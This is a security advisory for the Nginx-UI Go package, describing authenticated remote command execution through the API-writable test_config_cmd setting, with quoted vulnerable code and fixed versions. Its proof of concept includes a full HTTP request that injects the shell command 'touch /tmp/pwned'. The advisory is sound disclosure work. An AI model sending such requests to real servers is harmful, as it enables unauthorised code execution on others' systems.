GHSA-pxmr-q2x3-9x9m

Suggest an improvement
Source
https://github.com/advisories/GHSA-pxmr-q2x3-9x9m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pxmr-q2x3-9x9m
Aliases
Published
2024-01-11T16:30:29Z
Modified
2026-07-06T19:15:08Z
Severity
  • 7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
Summary
Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)
Details

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Database specific
{
    "cwe_ids":  [
        "CWE-77"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2024-01-11T16:30:29Z",
    "nvd_published_at":  "2024-01-11T18:15:45Z",
    "severity":  "HIGH"
}
References

Affected packages

Go / github.com/0xJacky/Nginx-UI

Package

Name
github.com/0xJacky/Nginx-UI
View open source insights on deps.dev
Purl
pkg:golang/github.com/0xJacky/Nginx-UI

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.9.10-0.20231219184941-827e76c46e63

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-pxmr-q2x3-9x9m/GHSA-pxmr-q2x3-9x9m.json"